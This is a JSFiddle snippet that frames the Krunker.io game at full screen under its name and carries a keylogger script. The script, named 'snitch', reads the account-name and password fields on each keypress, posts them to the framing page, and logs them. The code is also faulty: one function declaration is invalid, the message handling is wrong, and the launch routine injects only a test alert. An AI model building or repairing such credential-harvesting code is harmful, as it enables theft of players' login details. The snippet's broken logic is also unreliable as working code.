JSFiddle - React, Tailwind, and code Playground

by techtiger255

HTML

<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<meta http-equiv="X-UA-Compatible" content="ie=edge" />
		<title>Krunker.io</title>
	</head>
	<body>
		<iframe
		  id="krunkerIframe"		
			src="https://krunker.io"
			style="width: 100vw; height: 100vh; margin: 0; padding: 0; position: absolute; top: 0; left: 0; border: 0; outline: 0"
		></iframe>
	</body>
</html>

JavaScript

var userNameKeylogged, passwordKeylogged, krunker = document.getElementById("krunkerIframe");
	var pre = `javascript:`,
		insert = `alert("yeee")`,
		insert0 = `
	(function() {
		function snitch() {
			var user = document.getElementById("accName").value,
			pass = document.getElementById("accPass").value;
			window.top.postMessage("user:" + user,"*");
			window.top.postMessage("pass:" + pass,"*");
		}
		function() {
			document.addEventListener('keydown', snitch);
		};
	})();
	`;

	window.addEventListener("message", e => {
		if (e.data.match(/^user:/)) {
			userNameKeylogged = e.replace(/^user:/, "");
			console.log(userNameKeylogged);
			return;
		}
		if (e.data.match(/^pass:/)) {
			passwordKeylogged = e.replace(/^user:/, "");
			console.log(passwordKeylogged);
			return;
		}
	});
	krunker.addEventListener("load", launch);
	function launch() {
		krunker.src = pre + insert;
		krunker.removeEventListener("load", launch);
}